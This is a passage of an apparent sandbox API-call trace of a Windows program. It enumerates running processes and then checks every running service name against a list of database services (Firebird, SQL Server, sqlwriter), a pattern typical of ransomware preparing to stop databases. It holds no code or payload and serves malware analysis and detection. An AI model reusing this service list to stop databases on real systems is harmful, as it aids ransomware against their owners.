hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0169.561] lstrlenW (lpString="stream-test.exe") returned 15 [0169.561] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0169.561] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0169.561] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0169.562] lstrlenW (lpString="taskhostw.exe") returned 13 [0169.562] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0169.563] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0169.563] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0169.563] lstrlenW (lpString="movers-indication.exe") returned 21 [0169.564] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0169.564] lstrlenW (lpString="drama tv thee.exe") returned 17 [0169.564] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0169.565] lstrlenW (lpString="barriers.exe") returned 12 [0169.565] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0169.566] lstrlenW (lpString="shootclick.exe") returned 14 [0169.566] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0169.567] lstrlenW (lpString="nickel.exe") returned 10 [0169.567] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0169.568] lstrlenW (lpString="imperialopened.exe") returned 18 [0169.568] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0169.569] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0169.569] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0169.570] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0169.570] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0169.571] lstrlenW (lpString="perhapssentences.exe") returned 20 [0169.573] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0169.574] lstrlenW (lpString="dllhost.exe") returned 11 [0169.574] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.574] lstrlenW (lpString="svchost.exe") returned 11 [0169.575] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0169.575] lstrlenW (lpString="chrome64b.exe") returned 13 [0169.575] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0169.576] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0169.576] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0169.577] lstrlenW (lpString="conhost.exe") returned 11 [0169.577] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0169.578] lstrlenW (lpString="cmd.exe") returned 7 [0169.578] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0169.579] lstrlenW (lpString="conhost.exe") returned 11 [0169.579] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0169.580] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0169.580] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0169.581] lstrlenW (lpString="mode.com") returned 8 [0169.581] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0169.581] CloseHandle (hObject=0x360) returned 1 [0169.581] Sleep (dwMilliseconds=0x1f4) [0170.084] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8e8 [0170.084] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0170.085] GetLastError () returned 0xea [0170.085] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x7e7778 [0170.085] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e7778, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e7778, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0170.085] CloseServiceHandle (hSCObject=0x7ce8e8) returned 1 [0170.085] lstrlenW (lpString="Appinfo") returned 7 [0170.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0170.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0170.086] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0170.086] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0170.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0170.086] lstrlenW (lpString="AppXSvc") returned 7 [0170.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0170.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0170.086] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0170.086] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0170.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0170.086] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0170.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.086] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0170.086] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0170.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0170.086] lstrlenW (lpString="Audiosrv") returned 8 [0170.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0170.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0170.086] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0170.086] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0170.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0170.086] lstrlenW (lpString="BFE") returned 3 [0170.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0170.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0170.086] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0170.086] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0170.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0170.086] lstrlenW (lpString="BITS") returned 4 [0170.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0170.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0170.087] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0170.087] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0170.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0170.087] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0170.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0170.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0170.087] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0170.087] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0170.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0170.087] lstrlenW (lpString="CDPSvc") returned 6 [0170.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0170.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0170.087] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0170.087] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0170.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0170.087] lstrlenW (lpString="ClickToRunSvc") returned 13 [0170.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0170.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0170.087] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0170.087] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0170.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0170.087] lstrlenW (lpString="ClipSVC") returned 7 [0170.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0170.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0170.087] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0170.087] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0170.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0170.087] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0170.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0170.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0170.087] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0170.087] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0170.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0170.087] lstrlenW (lpString="CryptSvc") returned 8 [0170.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0170.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0170.088] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0170.088] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0170.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0170.088] lstrlenW (lpString="DcomLaunch") returned 10 [0170.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0170.088] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0170.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0170.088] lstrlenW (lpString="DeviceAssociationService") returned 24 [0170.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0170.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0170.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0170.088] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0170.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0170.088] lstrlenW (lpString="Dhcp") returned 4 [0170.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0170.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0170.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0170.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0170.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0170.088] lstrlenW (lpString="Dnscache") returned 8 [0170.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0170.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0170.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0170.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0170.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0170.088] lstrlenW (lpString="DoSvc") returned 5 [0170.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0170.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0170.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0170.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0170.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0170.089] lstrlenW (lpString="DPS") returned 3 [0170.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0170.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0170.089] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0170.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0170.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0170.089] lstrlenW (lpString="DusmSvc") returned 7 [0170.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0170.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0170.089] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0170.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0170.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0170.089] lstrlenW (lpString="EventLog") returned 8 [0170.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0170.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0170.089] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0170.089] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0170.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0170.089] lstrlenW (lpString="EventSystem") returned 11 [0170.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0170.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0170.089] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0170.089] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0170.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0170.089] lstrlenW (lpString="FontCache") returned 9 [0170.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0170.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0170.089] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0170.089] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0170.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0170.089] lstrlenW (lpString="gpsvc") returned 5 [0170.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0170.090] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0170.090] lstrlenW (lpString="iphlpsvc") returned 8 [0170.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0170.090] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0170.090] lstrlenW (lpString="KeyIso") returned 6 [0170.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0170.090] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0170.090] lstrlenW (lpString="LanmanServer") returned 12 [0170.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0170.090] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0170.090] lstrlenW (lpString="LanmanWorkstation") returned 17 [0170.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0170.090] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0170.090] lstrlenW (lpString="lfsvc") returned 5 [0170.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0170.090] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0170.091] lstrlenW (lpString="LicenseManager") returned 14 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0170.091] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0170.091] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0170.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0170.091] lstrlenW (lpString="lmhosts") returned 7 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0170.091] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0170.091] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0170.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0170.091] lstrlenW (lpString="LSM") returned 3 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0170.091] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0170.091] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0170.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0170.091] lstrlenW (lpString="MpsSvc") returned 6 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0170.091] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0170.091] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0170.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0170.091] lstrlenW (lpString="NcbService") returned 10 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0170.091] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0170.091] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0170.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0170.091] lstrlenW (lpString="netprofm") returned 8 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0170.091] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0170.092] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0170.092] lstrlenW (lpString="NlaSvc") returned 6 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0170.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0170.092] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0170.092] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0170.092] lstrlenW (lpString="nsi") returned 3 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0170.092] lstrcmpiW 